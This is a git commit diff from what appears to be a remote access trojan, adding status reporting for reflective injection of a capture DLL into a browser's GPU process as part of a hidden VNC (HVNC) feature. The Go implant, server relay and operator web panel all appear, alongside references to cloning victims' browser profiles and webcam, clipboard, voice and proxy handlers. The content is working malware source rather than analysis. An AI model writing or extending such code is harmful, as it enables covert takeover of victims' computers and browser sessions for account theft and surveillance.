add a way to show if HVNC DXGI injection actually worked

This commit is contained in:
KingKDot
2026-04-16 14:22:28 -05:00
parent 0a7e2ec900
commit df95ea4771
10 changed files with 100 additions and 4 deletions
@@ -13,7 +13,8 @@ func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes
} }
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string) type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error { func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error {
return errors.New("HVNC injection not supported on this platform") return errors.New("HVNC injection not supported on this platform")
} }
@@ -35,6 +35,9 @@ var (
var advapi32 = syscall.NewLazyDLL("advapi32.dll") var advapi32 = syscall.NewLazyDLL("advapi32.dll")
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string) type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
var hvncDXGIStatusCallback atomic.Value
const ( const (
PROCESS_CREATE_THREAD = 0x0002 PROCESS_CREATE_THREAD = 0x0002
@@ -125,7 +128,10 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
// If clone is true, it clones the real profile so file I/O is redirected to the clone. // If clone is true, it clones the real profile so file I/O is redirected to the clone.
// If clone is false, it starts the browser with injection but no path redirection. // If clone is false, it starts the browser with injection but no path redirection.
// browser should be one of: "chrome", "brave", "edge". // browser should be one of: "chrome", "brave", "edge".
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error { func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error {
if onDXGIStatus != nil {
hvncDXGIStatusCallback.Store(onDXGIStatus)
}
info, ok := browserInfoMap[strings.ToLower(browser)] info, ok := browserInfoMap[strings.ToLower(browser)]
if !ok { if !ok {
return fmt.Errorf("unknown browser %q", browser) return fmt.Errorf("unknown browser %q", browser)
@@ -194,7 +200,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
// StartHVNCChromeInjected is kept for backward compatibility. // StartHVNCChromeInjected is kept for backward compatibility.
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error { func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil) return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil)
} }
type browserInfo struct { type browserInfo struct {
@@ -743,6 +749,9 @@ func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
if err := reflectiveInject(hProcess, captureDllBytes); err != nil { if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
log.Printf("hvnc inject: HVNCCapture DLL injection into GPU PID %d failed: %v", gpuPID, err) log.Printf("hvnc inject: HVNCCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
procCloseHandle.Call(hProcess) procCloseHandle.Call(hProcess)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID))
}
return return
} }
procCloseHandle.Call(hProcess) procCloseHandle.Call(hProcess)
@@ -750,10 +759,16 @@ func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
log.Printf("hvnc inject: HVNCCapture DLL injected into GPU PID %d", gpuPID) log.Printf("hvnc inject: HVNCCapture DLL injected into GPU PID %d", gpuPID)
hvncRegisterInjectedPID(gpuPID) hvncRegisterInjectedPID(gpuPID)
hvncRegisterGPUPID(browserPID, gpuPID) hvncRegisterGPUPID(browserPID, gpuPID)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
fn(true, gpuPID, fmt.Sprintf("DXGI capture active (GPU PID %d)", gpuPID))
}
return return
} }
log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID) log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
fn(false, 0, "DXGI injection failed: GPU process not found")
}
} }
func findGPUChildProcess(parentPID uint32) (uint32, error) { func findGPUChildProcess(parentPID uint32) (uint32, error) {
@@ -1559,7 +1559,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}) })
} }
} }
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil { onDXGIStatus := func(success bool, gpuPID uint32, message string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCDXGIStatus{
Type: "hvnc_dxgi_status",
Success: success,
GPUPid: gpuPID,
Message: message,
})
}
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus); err != nil {
log.Printf("hvnc: browser injected failed for %q: %v", browser, err) log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
} }
}) })
@@ -232,6 +232,13 @@ type HVNCCloneProgress struct {
Status string `msgpack:"status"` Status string `msgpack:"status"`
} }
type HVNCDXGIStatus struct {
Type string `msgpack:"type"`
Success bool `msgpack:"success"`
GPUPid uint32 `msgpack:"gpuPid"`
Message string `msgpack:"message"`
}
type HVNCLookupResult struct { type HVNCLookupResult struct {
Type string `msgpack:"type"` Type string `msgpack:"type"`
Exe string `msgpack:"exe"` Exe string `msgpack:"exe"`
+40
View File
@@ -346,6 +346,38 @@ import { checkFeatureAccess } from "./feature-gate.js";
cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`; cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`;
} }
const dxgiStatusEl = document.getElementById("dxgiStatus");
const dxgiStatusIcon = document.getElementById("dxgiStatusIcon");
const dxgiStatusLabel = document.getElementById("dxgiStatusLabel");
let dxgiHideTimer = null;
function handleDXGIStatus(msg) {
if (!dxgiStatusEl) return;
if (dxgiHideTimer) {
clearTimeout(dxgiHideTimer);
dxgiHideTimer = null;
}
dxgiStatusEl.classList.remove("hidden");
dxgiStatusEl.classList.add("flex");
if (msg.success) {
dxgiStatusIcon.className = "fa-solid fa-microchip text-emerald-400";
dxgiStatusLabel.textContent = msg.message || "DXGI active";
dxgiStatusLabel.className = "text-emerald-300";
dxgiHideTimer = setTimeout(() => {
dxgiStatusEl.classList.add("hidden");
dxgiStatusEl.classList.remove("flex");
}, 8000);
} else {
dxgiStatusIcon.className = "fa-solid fa-microchip text-rose-400";
dxgiStatusLabel.textContent = msg.message || "DXGI failed";
dxgiStatusLabel.className = "text-rose-300";
dxgiHideTimer = setTimeout(() => {
dxgiStatusEl.classList.add("hidden");
dxgiStatusEl.classList.remove("flex");
}, 10000);
}
}
function sendCmd(type, payload) { function sendCmd(type, payload) {
if (!activeClientId) { if (!activeClientId) {
console.warn("No active client selected"); console.warn("No active client selected");
@@ -721,6 +753,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
handleLookupResult(msg); handleLookupResult(msg);
return; return;
} }
if (msg && msg.type === "hvnc_dxgi_status") {
handleDXGIStatus(msg);
return;
}
if (msg && msg.type === "hvnc_error") { if (msg && msg.type === "hvnc_error") {
console.error("hvnc: server error:", msg.error || msg.message); console.error("hvnc: server error:", msg.error || msg.message);
return; return;
@@ -748,6 +784,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
handleLookupResult(msg); handleLookupResult(msg);
return; return;
} }
if (msg && msg.type === "hvnc_dxgi_status") {
handleDXGIStatus(msg);
return;
}
if (msg && msg.type === "hvnc_error") { if (msg && msg.type === "hvnc_error") {
console.error("hvnc: server error:", msg.error || msg.message); console.error("hvnc: server error:", msg.error || msg.message);
return; return;
+7
View File
@@ -100,6 +100,13 @@
</div> </div>
<span id="cloneProgressPct" class="pill pill-ghost font-mono text-violet-200 min-w-[3ch] text-right">0%</span> <span id="cloneProgressPct" class="pill pill-ghost font-mono text-violet-200 min-w-[3ch] text-right">0%</span>
</div> </div>
<div
id="dxgiStatus"
class="hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm"
>
<i id="dxgiStatusIcon" class="fa-solid fa-microchip text-emerald-400"></i>
<span id="dxgiStatusLabel">DXGI</span>
</div>
<div <div
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300" class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
> >
+2
View File
@@ -87,6 +87,7 @@ import {
handleWebcamDevices, handleWebcamDevices,
handleHVNCCloneProgress, handleHVNCCloneProgress,
handleHVNCLookupResult, handleHVNCLookupResult,
handleHVNCDXGIStatus,
handleClipboardContent, handleClipboardContent,
handleRemoteDesktopViewerMessage, handleRemoteDesktopViewerMessage,
handleRemoteDesktopViewerOpen, handleRemoteDesktopViewerOpen,
@@ -605,6 +606,7 @@ async function startServer() {
handleWebcamDevices, handleWebcamDevices,
handleHVNCCloneProgress, handleHVNCCloneProgress,
handleHVNCLookupResult, handleHVNCLookupResult,
handleHVNCDXGIStatus,
handleClipboardContent, handleClipboardContent,
cleanupVoiceViewer, cleanupVoiceViewer,
stopConsoleOnTarget, stopConsoleOnTarget,
@@ -82,6 +82,7 @@ type WsLifecycleDeps = {
handleWebcamDevices: (clientId: string, payload: any) => void; handleWebcamDevices: (clientId: string, payload: any) => void;
handleHVNCCloneProgress: (clientId: string, payload: any) => void; handleHVNCCloneProgress: (clientId: string, payload: any) => void;
handleHVNCLookupResult: (clientId: string, payload: any) => void; handleHVNCLookupResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void; handleClipboardContent: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void; cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void; stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
@@ -586,6 +587,9 @@ export async function handleWebSocketMessage(
case "hvnc_lookup_result": case "hvnc_lookup_result":
deps.handleHVNCLookupResult(client.id, payload); deps.handleHVNCLookupResult(client.id, payload);
break; break;
case "hvnc_dxgi_status":
deps.handleHVNCDXGIStatus(client.id, payload);
break;
case "clipboard_content": case "clipboard_content":
deps.handleClipboardContent(client.id, payload); deps.handleClipboardContent(client.id, payload);
break; break;
@@ -610,6 +610,17 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
} }
} }
export function handleHVNCDXGIStatus(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_dxgi_status",
success: !!payload.success,
gpuPid: Number(payload.gpuPid) || 0,
message: String(payload.message || ""),
});
}
}
export function handleClipboardContent(clientId: string, payload: any) { export function handleClipboardContent(clientId: string, payload: any) {
const text = String(payload.text || ""); const text = String(payload.text || "");
const source = String(payload.source || ""); const source = String(payload.source || "");
+1
View File
@@ -29,6 +29,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"webcam_devices", "webcam_devices",
"hvnc_clone_progress", "hvnc_clone_progress",
"hvnc_lookup_result", "hvnc_lookup_result",
"hvnc_dxgi_status",
"clipboard_content", "clipboard_content",
"proxy_data", "proxy_data",
"proxy_close", "proxy_close",